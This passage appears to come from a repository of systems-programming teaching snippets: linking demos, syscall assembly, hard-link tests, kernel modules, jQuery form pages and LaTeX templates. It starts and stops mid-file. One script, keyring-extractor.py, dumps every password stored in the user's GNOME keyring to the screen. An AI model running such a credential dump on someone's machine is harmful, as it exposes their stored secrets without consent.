└── util/ 24 | ├── tema4/ 25 | │   ├── checker/ 26 | │   ├── sol/ 27 | │   └── util/ 28 | ├── tema5/ 29 | │   ├── checker/ 30 | │   ├── sol/ 31 | │   └── util/ 32 | └── tema_asistenti/ 33 | ├── checker/ 34 | ├── sol/ 35 | └── util/ 36 | 37 | 34 directories, 1 file 38 | -------------------------------------------------------------------------------- /gnome/keyring-extractor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # See code and explanation here: 4 | # http://blog.schmichael.com/2008/10/30/listing-all-passwords-stored-in-gnome-keyring/ 5 | 6 | import pygtk 7 | pygtk.require('2.0') 8 | import gtk # sets app name 9 | import gnomekeyring 10 | 11 | def hack(): 12 | for keyring in gnomekeyring.list_keyring_names_sync(): 13 | for id in gnomekeyring.list_item_ids_sync(keyring): 14 | item = gnomekeyring.item_get_info_sync(keyring, id) 15 | print '[%s] %s = %s' % ( 16 | keyring, item.get_display_name(), item.get_secret()) 17 | else: 18 | if len(gnomekeyring.list_item_ids_sync(keyring)) == 0: 19 | print '[%s] --empty--' % keyring 20 | 21 | if __name__ == '__main__': 22 | hack() 23 | -------------------------------------------------------------------------------- /got-plt/.gitignore: -------------------------------------------------------------------------------- 1 | /main 2 | /libbasket.so 3 | -------------------------------------------------------------------------------- /got-plt/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -fPIC -fno-stack-protector -Wall -Wextra 2 | LDFLAGS = -pie 3 | LDLIBS = -lbasket 4 | 5 | .DEFAULT_GOAL := all 6 | 7 | .PHONY: all clean 8 | 9 | all: main 10 | 11 | main: main.o libbasket.so 12 | $(CC) $(LDFLAGS) -Wl,-rpath=. -o $@ main.o -L. $(LDLIBS) 13 | 14 | main.o: main.c basket.h 15 | 16 | libbasket.so: basket.o 17 | $(CC) -shared -o $@ $^ 18 | 19 | basket.o: basket.c basket.h 20 | 21 | clean: 22 | -rm -f basket.o main.o 23 | -rm -f main 24 | -rm -f libbasket.so 25 | -rm -f *~ 26 | -------------------------------------------------------------------------------- /got-plt/basket.c: -------------------------------------------------------------------------------- 1 | unsigned long basket_size = 3; 2 | 3 | void flowers(void) 4 | { 5 | basket_size = 55; 6 | } 7 | -------------------------------------------------------------------------------- /got-plt/basket.h: -------------------------------------------------------------------------------- 1 | #ifndef BASKET_H_ 2 | #define BASKET_H_ 1 3 | 4 | extern unsigned long basket_size; 5 | 6 | void flowers(void); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /got-plt/main.c: -------------------------------------------------------------------------------- 1 | #include "basket.h" 2 | 3 | int main(void) 4 | { 5 | flowers(); 6 | basket_size = 99; 7 | 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /got-plt/nostdlib/.gitignore: -------------------------------------------------------------------------------- 1 | /main 2 | /libbasket.so 3 | -------------------------------------------------------------------------------- /got-plt/nostdlib/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -fPIC -fno-stack-protector -Wall -Wextra 2 | LDFLAGS = -nostdlib -nostdinc -pie 3 | LDLIBS = -lbasket 4 | LD.SO = /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 5 | 6 | .DEFAULT_GOAL := all 7 | 8 | .PHONY: all clean 9 | 10 | all: main 11 | 12 | main: start.o main.o libbasket.so 13 | $(LD) -e_start -pie -dynamic-linker=$(LD.SO) -rpath=. -o $@ start.o main.o -L. $(LDLIBS) 14 | # $(CC) $(LDFLAGS) -Wl,-e_start -o $@ start.o main.o -L. $(LDLIBS) 15 | 16 | start.o: start.s 17 | 18 | main.o: main.c basket.h 19 | 20 | libbasket.so: basket.o 21 | $(LD) -shared -o $@ $^ 22 | # $(CC) $(LDFLAGS) -shared -o $@ $^ 23 | 24 | basket.o: basket.c basket.h 25 | 26 | clean: 27 | -rm -f start.o basket.o main.o 28 | -rm -f main 29 | -rm -f libbasket.so 30 | -rm -f *~ 31 | -------------------------------------------------------------------------------- /got-plt/nostdlib/basket.c: -------------------------------------------------------------------------------- 1 | ../basket.c -------------------------------------------------------------------------------- /got-plt/nostdlib/basket.h: -------------------------------------------------------------------------------- 1 | ../basket.h -------------------------------------------------------------------------------- /got-plt/nostdlib/main.c: -------------------------------------------------------------------------------- 1 | ../main.c -------------------------------------------------------------------------------- /got-plt/nostdlib/start.s: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .globl _start 4 | 5 | # /usr/include/x86_64-linux-gnu/asm/unistd_64.h 6 | .equ __NR_exit, 60 7 | 8 | _start: 9 | call main 10 | 11 | # Call __NR_exit(main_return_value) (system call). 12 | # 13 | # Use x86_64 Linux system call convention. 14 | # https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 15 | # 16 | # rdi stores the first system call argument. 17 | # rax stores the system call id. 18 | 19 | # rax is main return value. Store it in rdi. 20 | movq %rax, %rdi 21 | 22 | # Store the exit system call id in rax. 23 | movq $__NR_exit, %rax 24 | 25 | # Do system call. 26 | syscall 27 | -------------------------------------------------------------------------------- /hard-links/.gitignore: -------------------------------------------------------------------------------- 1 | /test-hard-link 2 | -------------------------------------------------------------------------------- /hard-links/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: test-hard-link 6 | 7 | test-hard-link: test-hard-link.c 8 | 9 | clean: 10 | -rm -f test-hard-link 11 | -rm -f *~ *.o 12 | -------------------------------------------------------------------------------- /hard-links/test-hard-link.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define INITIAL_LINK "initial.txt" 8 | #define HARD_LINK_1 "hard-link-1.txt" 9 | #define HARD_LINK_2 "hard-link-2.txt" 10 | 11 | int main(void) 12 | { 13 | struct stat sbuf; 14 | int rc; 15 | 16 | creat(INITIAL_LINK, 0644); 17 | link(INITIAL_LINK, HARD_LINK_1); 18 | link(INITIAL_LINK, HARD_LINK_2); 19 | 20 | /* Get number of links. */ 21 | rc = stat(INITIAL_LINK, &sbuf); 22 | if (rc < 0) 23 | perror("stat"); 24 | else 25 | printf("Number of links is %lu\n", sbuf.st_nlink); 26 | 27 | unlink(INITIAL_LINK); 28 | unlink(HARD_LINK_1); 29 | unlink(HARD_LINK_2); 30 | 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /hard-links/test-hard-link.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | touch initial.txt 4 | ln initial.txt hard-link-1.txt 5 | ln initial.txt hard-link-2.txt 6 | echo -n "Number of links is " 7 | stat --format="%h" initial.txt 8 | rm initial.txt hard-link-1.txt hard-link-2.txt 9 | -------------------------------------------------------------------------------- /hash-time/compute_hash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import hashlib 4 | import time 5 | 6 | NUM_ROUNDS = 10000000 7 | 8 | #m = hashlib.md5() 9 | m = hashlib.sha512() 10 | start = time.time() 11 | for i in range(NUM_ROUNDS): 12 | m.update(b"anaaremere") 13 | stop = time.time() 14 | 15 | print("time: ", stop-start) 16 | -------------------------------------------------------------------------------- /hello/.gitignore: -------------------------------------------------------------------------------- 1 | /hello 2 | /hello_static 3 | /hello_syscall 4 | /read_write_syscall 5 | -------------------------------------------------------------------------------- /hello/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | %.o: %.asm 6 | nasm -f elf32 -o $@ $< 7 | 8 | all: hello hello_static hello_syscall read_write_syscall 9 | 10 | hello: hello.o 11 | 12 | hello_static: hello.o 13 | $(CC) -static -o $@ $^ 14 | 15 | hello.o: hello.c 16 | 17 | hello_syscall: hello_syscall.o 18 | $(CC) -m32 -o $@ $^ 19 | 20 | hello_syscall.o: hello_syscall.asm 21 | 22 | read_write_syscall: read_write_syscall.o 23 | $(CC) -m32 -o $@ $^ 24 | 25 | read_write_syscall.o: read_write_syscall.asm 26 | 27 | clean: 28 | -rm -f hello hello_syscall read_write_syscall 29 | -rm -f hello.o hello_syscall.o read_write_syscall.o 30 | -rm -f *~ 31 | -------------------------------------------------------------------------------- /hello/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | puts("Hello World!"); 6 | 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /hello/hello_syscall.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | hello: db "Hello, World!", 10, 0 3 | len equ $-hello 4 | 5 | section .text 6 | 7 | global main 8 | 9 | main: 10 | push ebp 11 | mov ebp, esp 12 | 13 | mov edx, len ; length of message to be printed 14 | mov eax, 4 ; 4 is the write syscall index 15 | ; also found in /usr/include/asm/unistd_32.h (__NR_write) 16 | mov ebx, 1 17 | mov ecx, hello 18 | int 0x80 19 | 20 | leave 21 | ret 22 | -------------------------------------------------------------------------------- /hello/read_write_syscall.asm: -------------------------------------------------------------------------------- 1 | section .bss 2 | mybuf: resb 64 3 | len equ $-mybuf 4 | 5 | section .text 6 | 7 | global main 8 | 9 | main: 10 | push ebp 11 | mov ebp, esp 12 | 13 | mov eax, 3 ; 3 is the read syscall 14 | mov ebx, 0 15 | mov ecx, mybuf 16 | mov edx, len 17 | int 0x80 18 | 19 | mov edx, len ; length of message to be printed 20 | mov eax, 4 ; 4 is the write syscall index 21 | ; also found in /usr/include/asm/unistd_32.h (__NR_write) 22 | mov ebx, 1 23 | mov ecx, mybuf 24 | int 0x80 25 | 26 | leave 27 | ret 28 | -------------------------------------------------------------------------------- /html/adding-dynamic-input-fields/add-remove.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() { 2 | $('#add').click(function() { 3 | var inp = $('#box'); 4 | var i = $('input').size() + 1; 5 | $('').appendTo(inp); 6 | i++; 7 | }); 8 | 9 | $('body').on('click', '#remove', function() { 10 | $(this).parent('div').remove(); 11 | }); 12 | }); 13 | -------------------------------------------------------------------------------- /html/adding-dynamic-input-fields/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Dynamically add input fields 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 |
      18 | 19 | Add 20 |
      21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /html/adding-dynamic-input-fields/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: Tahoma, Geneva, sans-serif; 3 | color: #000; 4 | font-size: 11px; 5 | margin: 0; 6 | padding: 0; 7 | } 8 | 9 | #info { 10 | position: fixed; 11 | width: 100%; 12 | height: 20px; 13 | -webkit-box-shadow: 0 1px 2px #666; 14 | box-shadow: 0 1px 2px #666; 15 | top: 0; 16 | padding: 10px; 17 | background-color: #F60; 18 | color: #FFF; 19 | font-size: 14px; 20 | } 21 | 22 | .lessoncup { 23 | width: 480px; 24 | height: auto; 25 | margin: 0 auto; 26 | margin-top: 100px; 27 | padding: 10px; 28 | } 29 | 30 | .name { 31 | width: 400px; 32 | height: 30px; 33 | padding: 10px; 34 | border-radius: 5px; 35 | border: solid #0CF 1px; 36 | margin-bottom: 15px; 37 | font-size: 24px; 38 | -webkit-box-shadow: 1px 1px 10px #CCC; 39 | box-shadow: 1px 1px 10px #CCC; 40 | outline: none; 41 | } 42 | 43 | .add { 44 | font-size: 18px; 45 | outline: none; 46 | color: #0CF; 47 | } 48 | 49 | input { 50 | margin-top: 5px; 51 | } 52 | 53 | .add { 54 | margin-left: 10px; 55 | margin-top: 15px; 56 | cursor: pointer; 57 | } 58 | -------------------------------------------------------------------------------- /html/dynamic-forms/dynamic-forms.css: -------------------------------------------------------------------------------- 1 | * { font-family:Arial; } 2 | h2 { padding:0 0 5px 5px; } 3 | h2 a { color: #224f99; } 4 | a { color:#999; text-decoration: none; } 5 | a:hover { color:#802727; } 6 | p { padding:0 0 5px 0; } 7 | 8 | input { padding:5px; border:1px solid #999; border-radius:4px; -moz-border-radius:4px; -web-kit-border-radius:4px; -khtml-border-radius:4px; } 9 | -------------------------------------------------------------------------------- /html/dynamic-forms/dynamic-forms.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | mumu 4 | 5 | 6 | 7 | 8 | 9 | 10 |

      Add Another Input Box

      11 | 12 |
      13 |

      14 | 15 |

      16 |
      17 | 18 | 19 | -------------------------------------------------------------------------------- /html/dynamic-forms/dynamic-forms.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() { 2 | var scntDiv = $('#p_scents'); 3 | var i = $('#p_scents p').size() + 1; 4 | 5 | $('#addScnt').click(function() { 6 | $('

      Remove

      ').appendTo(scntDiv); 7 | i++; 8 | return false; 9 | }); 10 | 11 | $('#remScnt').on('click', function() { 12 | if( i > 2 ) { 13 | $(this).parents('p').remove(); 14 | i--; 15 | } 16 | return false; 17 | }); 18 | }); 19 | -------------------------------------------------------------------------------- /inc/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: inc 6 | 7 | clean: 8 | -rm -f inc *.o *~ 9 | -------------------------------------------------------------------------------- /inc/inc.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int n = 2; 6 | 7 | n += (++n); 8 | printf("new n is %d\n", n); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /ios/hello/.gitignore: -------------------------------------------------------------------------------- 1 | /hello 2 | -------------------------------------------------------------------------------- /ios/hello/Makefile: -------------------------------------------------------------------------------- 1 | CC = /Applications/Xcode.app/Contents/Developer/usr/bin/gcc 2 | SDK = /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk 3 | ARCH = armv7 4 | 5 | .PHONY: all clean 6 | 7 | all: hello 8 | 9 | hello: hello.c 10 | $(CC) -arch $(ARCH) -isysroot $(SDK) $^ -o $@ 11 | 12 | clean: 13 | -rm -f *.o 14 | -rm -f hello 15 | -------------------------------------------------------------------------------- /ios/hello/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | puts("Hello, World!"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /kernel/bio-bvec/.gitignore: -------------------------------------------------------------------------------- 1 | /*.cmd 2 | /.tmp_versions/ 3 | /Module.symvers 4 | /*.ko 5 | /*.mod.c 6 | /modules.order 7 | -------------------------------------------------------------------------------- /kernel/bio-bvec/Kbuild: -------------------------------------------------------------------------------- 1 | EXTRA_CFLAFS = -Wall -g 2 | 3 | obj-m = bio-bvec.o 4 | -------------------------------------------------------------------------------- /kernel/bio-bvec/Makefile: -------------------------------------------------------------------------------- 1 | KDIR = /usr/src/linux-so2 2 | 3 | kbuild: 4 | make -C $(KDIR) M=`pwd` 5 | 6 | clean: 7 | make -C $(KDIR) M=`pwd` clean 8 | rm -f *~ Module.symvers Module.markers modules.order 9 | -------------------------------------------------------------------------------- /kernel/bio-bvec/README.md: -------------------------------------------------------------------------------- 1 | A `bio` uses an array of `bio_vec` (`bvec`) structures. The `bi_vnct` field of the structure is the number of bvecs. In order to print the useful data length in each bvec one would use `bio_for_each_segment` and then use the `bv_len` field in the `bio_vec` structure, such as below (also in the source code) 2 | 3 | bio_for_each_segment(bvec, bio, idx) { 4 | pr_alert("bvec %u uses %u bytes starting from offset %u\n", 5 | idx, bvec->bv_len, bvec->bv_offset); 6 | } 7 | 8 | Using `bio_cur_bytes` only shows the useful data length in the first `bvec` of the `bio` (the one pointed by the `bi_idx` in the structure). It shouldn't be used in conjunction with `bio_for_each_segment` as it will not print the data length in each `bvec`. 9 | -------------------------------------------------------------------------------- /kernel/in4_pton/Kbuild: -------------------------------------------------------------------------------- 1 | EXTRA_CFLAGS = -Wall -g 2 | 3 | obj-m = in4_pton.o 4 | -------------------------------------------------------------------------------- /kernel/in4_pton/Makefile: -------------------------------------------------------------------------------- 1 | KDIR=/lib/modules/`uname -r`/build 2 | 3 | all: 4 | make -C $(KDIR) M=`pwd` 5 | 6 | clean: 7 | make -C $(KDIR) M=`pwd` clean 8 | -------------------------------------------------------------------------------- /kernel/in4_pton/in4_pton.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define IP_ADDRESS 0x01020304 6 | 7 | static int pton_init(void) 8 | { 9 | char buf[128]; 10 | unsigned int address = IP_ADDRESS; 11 | 12 | sprintf(buf, "%d.%d.%d.%d", HIPQUAD(address)); 13 | 14 | printk("buf is #%s#\n", buf); 15 | 16 | printk("enter\n"); 17 | return 0; 18 | } 19 | 20 | static void pton_exit(void) 21 | { 22 | printk("exit\n"); 23 | } 24 | 25 | module_init(pton_init); 26 | module_exit(pton_exit); 27 | -------------------------------------------------------------------------------- /kernel/kernel-page-table-walk/.gitignore: -------------------------------------------------------------------------------- 1 | /*.cmd 2 | /.tmp_versions/ 3 | /Module.symvers 4 | /*.ko 5 | /*.mod.c 6 | /modules.order 7 | -------------------------------------------------------------------------------- /kernel/kernel-page-table-walk/Kbuild: -------------------------------------------------------------------------------- 1 | EXTRA_CFLAGS = -Wall -g 2 | 3 | obj-m = kernel-page-table-walk.o 4 | -------------------------------------------------------------------------------- /kernel/kernel-page-table-walk/Makefile: -------------------------------------------------------------------------------- 1 | KDIR = /usr/src/linux-so2 2 | 3 | kbuild: 4 | make -C $(KDIR) M=`pwd` 5 | 6 | clean: 7 | make -C $(KDIR) M=`pwd` clean 8 | rm -f *~ Module.symvers Module.markers modules.order 9 | -------------------------------------------------------------------------------- /kernel/kthread-access-userspace/Kbuild: -------------------------------------------------------------------------------- 1 | obj-m = kthread-user.o 2 | -------------------------------------------------------------------------------- /kernel/kthread-access-userspace/Makefile: -------------------------------------------------------------------------------- 1 | KDIR = /usr/src/linux-so2 2 | 3 | kbuild: 4 | make -C $(KDIR) M=`pwd` 5 | 6 | clean: 7 | make -C $(KDIR) M=`pwd` clean 8 | rm -f *~ Module.symvers Module.markers modules.order 9 | -------------------------------------------------------------------------------- /kernel/kthread-access-userspace/README.md: -------------------------------------------------------------------------------- 1 | Whenever a Linux kernel thread tries to access user space data it uses the page table of the previous process. 2 | 3 | In our module we used a simple conifguration where a `busybox` process is almost always the "previous" process. We read the first `64` bytes from the `.text` area of the `busybox` process and print it. We actually read the start of the `busybox` ELF executable file now mapped into memory in the `.text` area of the process, as expected. 4 | 5 | Below is a sample output from the kernel module: 6 | 7 | [ 17.537644] Thread has been created. 8 | [ 17.543878] Thread will read from address 0x08048000 9 | [ 17.544946] Data has been read. Dumping hex: 10 | [ 17.545613] \x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\xe4\xc1\x11\x08\x34\x00\x00\x00\xe8\xd1\x1c\x00\x00\x00\x00\x00\x34\x00\x20\x00\x05\x00\x28\x00\x1c\x00\x1b\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08 11 | [ 17.564427] 12 | 13 | And a dump of the start of the `busybox` ELF executable file: 14 | 15 | $ xxd -l 64 -g 1 busybox 16 | 0000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 .ELF............ 17 | 0000010: 02 00 03 00 01 00 00 00 e4 c1 11 08 34 00 00 00 ............4... 18 | 0000020: e8 d1 1c 00 00 00 00 00 34 00 20 00 05 00 28 00 ........4. ...(. 19 | 0000030: 1c 00 1b 00 01 00 00 00 00 00 00 00 00 80 04 08 ................ 20 | -------------------------------------------------------------------------------- /kernel/kthread-access-userspace/kthread-user.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Test whether user space data is accessible from kernel thread. 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | MODULE_DESCRIPTION("Access user space data from kernel thread"); 13 | MODULE_AUTHOR("So2rul Esforever"); 14 | MODULE_LICENSE("GPL"); 15 | 16 | #define BUSYBOX_TEXT_START_ADDRESS 0x08048000 17 | 18 | static unsigned char buffer[64]; 19 | 20 | static int access_userspace_data(void *data) 21 | { 22 | size_t i; 23 | 24 | pr_alert("Thread will read from address 0x%08x\n", BUSYBOX_TEXT_START_ADDRESS); 25 | 26 | if (copy_from_user(buffer, (void *) BUSYBOX_TEXT_START_ADDRESS, 64) != 0) { 27 | pr_alert("Unable to read from address 0x%08x\n", BUSYBOX_TEXT_START_ADDRESS); 28 | return -1; 29 | } 30 | 31 | pr_alert("Data has been read. Dumping hex:\n"); 32 | for (i = 0; i < 64; i++) 33 | printk("\\x%02x", buffer[i]); 34 | pr_alert("\n"); 35 | 36 | return 0; 37 | } 38 | 39 | static int kthread_user_init(void) 40 | { 41 | struct task_struct *thread; 42 | 43 | thread = kthread_run(access_userspace_data, NULL, "access_user_thread"); 44 | pr_alert("Thread has been created.\n"); 45 | 46 | return 0; 47 | } 48 | 49 | static void kthread_user_exit(void) 50 | { 51 | } 52 | 53 | module_init(kthread_user_init); 54 | module_exit(kthread_user_exit); 55 | -------------------------------------------------------------------------------- /latex/.gitignore: -------------------------------------------------------------------------------- 1 | *.aux 2 | *.log 3 | *.nav 4 | *.out 5 | *.pdf 6 | *.snm 7 | *.toc 8 | -------------------------------------------------------------------------------- /latex/booktabs/.gitignore: -------------------------------------------------------------------------------- 1 | /*.pdf 2 | /texfiles/ 3 | -------------------------------------------------------------------------------- /latex/booktabs/Makefile: -------------------------------------------------------------------------------- 1 | BASENAME = booktabs 2 | PDF = $(addsuffix .pdf, $(BASENAME)) 3 | TEX = $(addsuffix .tex, $(BASENAME)) 4 | PDFLATEX = pdflatex 5 | OUT_DIR = texfiles 6 | 7 | .PHONY: clean all 8 | 9 | all: $(PDF) 10 | 11 | .PHONY: $(PDF) 12 | $(PDF): $(TEX) 13 | test -d $(OUT_DIR) || mkdir $(OUT_DIR) 14 | # Twice, so TOC is also updated 15 | $(PDFLATEX) -output-directory $(OUT_DIR) $< 16 | $(PDFLATEX) -output-directory $(OUT_DIR) $< 17 | cp $(OUT_DIR)/$(PDF) . 18 | 19 | clean: 20 | rm -fr $(OUT_DIR) 21 | rm -f $(PDF) 22 | -------------------------------------------------------------------------------- /latex/slidenotes/.gitignore: -------------------------------------------------------------------------------- 1 | texfiles/ 2 | *.aux 3 | *.log 4 | *.nav 5 | *.out 6 | *.pdf 7 | *.snm 8 | *.toc 9 | *.bbl 10 | *.blg 11 | *.eps 12 | *.ps 13 | *.dvi 14 | -------------------------------------------------------------------------------- /latex/slidenotes/metafiles/format/dualscreen.tex: -------------------------------------------------------------------------------- 1 | \def\dualscreen{1} 2 | \input{slides} 3 | -------------------------------------------------------------------------------- /latex/slidenotes/metafiles/format/handout-4on1-notes.tex: -------------------------------------------------------------------------------- 1 | \def\fouronone{1} 2 | \PassOptionsToClass{handout}{curs} 3 | \input{slides} 4 | -------------------------------------------------------------------------------- /latex/slidenotes/metafiles/format/handout-8on1.tex: -------------------------------------------------------------------------------- 1 | \def\eightonone{1} 2 | \PassOptionsToClass{handout}{curs} 3 | \input{slides} 4 | -------------------------------------------------------------------------------- /latex/slidenotes/metafiles/format/handout.tex: -------------------------------------------------------------------------------- 1 | \PassOptionsToClass{handout}{curs} 2 | \input{slides} 3 | -------------------------------------------------------------------------------- /latex/slidenotes/metafiles/format/notes.tex: -------------------------------------------------------------------------------- 1 | \PassOptionsToClass{notes=only}{curs} 2 | \input{slides} 3 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/Makefile: -------------------------------------------------------------------------------- 1 | BASENAME = sample 2 | 3 | include ../metafiles/base.mk 4 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/code/.gitignore: -------------------------------------------------------------------------------- 1 | /*.tex 2 | /highlight.* 3 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/code/Makefile: -------------------------------------------------------------------------------- 1 | TEXFILES = cli-example.tex 2 | 3 | ifeq (3, $(shell highlight --version | head -2 | tail -1 | rev | cut -d ' ' -f 1 | rev | cut -d '.' -f 1)) 4 | HIGHLIGHT_OPTS = -O latex -l -f -t 8 -K tiny -S bash -c highlight.sty 5 | else 6 | HIGHLIGHT_OPTS = -L -l -f -t 8 -K tiny -S bash -c highlight.sty 7 | endif 8 | 9 | all: $(TEXFILES) 10 | 11 | cli-example.tex: cli-example.bash 12 | highlight $(HIGHLIGHT_OPTS) -i $< -o $@ 13 | 14 | .PHONY: clean 15 | clean: 16 | rm -f $(TEXFILES) highlight.sty highlight.css *~ 17 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/code/cli-example.bash: -------------------------------------------------------------------------------- 1 | alexj@hathor ~ $ uname 2 | Linux 3 | alexj@hathor ~ $ uname --help 4 | Usage: uname [OPTION]... 5 | Print certain system information. With no OPTION, same as -s. 6 | 7 | -a, --all print all information, in the following order, 8 | except omit -p and -i if unknown: 9 | [snip] 10 | 11 | alexj@hathor ~ $ uname -h 12 | uname: invalid option -- 'h' 13 | Try `uname --help' for more information. 14 | alexj@hathor ~ $ uname -a 15 | Linux hathor 3.3.0-rc6+ #7 SMP Mon Mar 5 19:54:28 EET 2012 i686 i686 16 | i386 GNU/Linux 17 | alexj@hathor ~ $ uname --all 18 | Linux hathor 3.3.0-rc6+ #7 SMP Mon Mar 5 19:54:28 EET 2012 i686 i686 19 | i386 GNU/Linux 20 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/img/.gitignore: -------------------------------------------------------------------------------- 1 | /so.png 2 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/img/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Access the wiki page below for information on processing Dia and Inkscape 3 | # image files. 4 | # 5 | # https://systems.cs.pub.ro/projects/projects/templates/wiki/Images 6 | # 7 | 8 | DIA = dia 9 | INKSCAPE = inkscape 10 | EPSTOPDF = epstopdf 11 | 12 | DIA_FILES = so.dia 13 | SVG_FILES = 14 | EPS_FILES = $(DIA_FILES:.dia=.eps) $(SVG_FILES:.svg=.eps) 15 | PDF_FILES = $(DIA_FILES:.dia=.pdf) $(SVG_FILES:.svg=.pdf) 16 | PNG_FILES = $(DIA_FILES:.dia=.png) $(SVG_FILES:.svg=.png) 17 | 18 | .PHONY: all clean 19 | 20 | all: $(PDF_FILES) $(PNG_FILES) 21 | 22 | %.pdf: %.eps 23 | $(EPSTOPDF) $< 24 | 25 | %.eps: %.dia 26 | $(DIA) -t eps-pango -e $@ $< 27 | 28 | %.png: %.dia 29 | $(DIA) -t png -e $@ $< 30 | 31 | %.eps: %.svg 32 | $(INKSCAPE) -E $@ $< 33 | 34 | %.png: %.svg 35 | $(INKSCAPE) -e $@ $< 36 | 37 | clean: 38 | -rm -f $(EPS_FILES) $(PDF_FILES) $(PNG_FILES) 39 | -------------------------------------------------------------------------------- /latex/slidenotes/sample/img/tty.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/latex/slidenotes/sample/img/tty.png -------------------------------------------------------------------------------- /latex/slidenotes/sty/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/latex/slidenotes/sty/logo.png -------------------------------------------------------------------------------- /latex/test/mytest.tex: -------------------------------------------------------------------------------- 1 | \documentclass[12pt,a4paper,titlepage,landscape,romanian]{slides} 2 | 3 | \makeatletter 4 | \usepackage{babel} 5 | \makeatother 6 | 7 | \begin{document} 8 | 9 | \title{Poveste de adormit copiii microbi\c{s}tilor} 10 | \author{R\u{a}zvan Deaconescu} 11 | \maketitle 12 | 13 | A fost o dat\u{a} ca niciodat\u{a}. \^{I}ntr-o \^{i}mp\u{a}r\u{a}\c{t}ie 14 | \^{i}ndep\u{a}rtat\u{a} s\u{a}l\u{a}\c{s}luia o gr\u{a}din\u{a} fermecat\u{a} 15 | care f\u{a}cea numai mere de aur. 16 | 17 | \end{document} 18 | -------------------------------------------------------------------------------- /latex/test/test.tex: -------------------------------------------------------------------------------- 1 | %% LyX 1.4.3 created this file. For more info, see http://www.lyx.org/. 2 | %% Do not edit unless you really know what you are doing. 3 | \documentclass[english]{article} 4 | \usepackage[T1]{fontenc} 5 | \usepackage[latin1]{inputenc} 6 | 7 | \makeatletter 8 | \usepackage{babel} 9 | \makeatother 10 | \begin{document} 11 | 12 | \title{Poveste} 13 | 14 | \maketitle 15 | A fost o data ca niciodata, ca daca nu ar fi fost nu s-ar povesti. 16 | \end{document} 17 | -------------------------------------------------------------------------------- /latex/test/test_pdf.tex: -------------------------------------------------------------------------------- 1 | %% LyX 1.4.3 created this file. For more info, see http://www.lyx.org/. 2 | %% Do not edit unless you really know what you are doing. 3 | \documentclass[english]{article} 4 | \usepackage[T1]{fontenc} 5 | \usepackage[latin1]{inputenc} 6 | 7 | \makeatletter 8 | \usepackage{babel} 9 | \makeatother 10 | \begin{document} 11 | A fost o data ca niciodata, ca daca nu ar fi fost nu s-ar povesti. 12 | \end{document} 13 | -------------------------------------------------------------------------------- /mac2host/mac2host/hostbymac.awk: -------------------------------------------------------------------------------- 1 | #!/usr/bin/awk -f 2 | 3 | BEGIN { 4 | fire = 0 5 | } 6 | 7 | { 8 | if ($1 == hwaddr) { 9 | print $2 10 | fire = 1 11 | exit 0 12 | } 13 | } 14 | 15 | END { 16 | if (fire == 1) { /* match found */ 17 | exit 0 18 | } 19 | exit 1 20 | } 21 | -------------------------------------------------------------------------------- /mac2host/mac2host/mac2hostname: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | declare DEBUG=1 # set to 1 for debug messages 4 | declare IFACE=eth1 5 | declare CONFIG_FILE="$1" 6 | 7 | declare MY_HWADDR 8 | declare MY_HOSTNAME 9 | declare CONFIG_FILE 10 | 11 | if test $# -ne 1; then 12 | echo "Usage: $0 config_file" 13 | exit 1 14 | fi 15 | 16 | function getmac() 17 | { 18 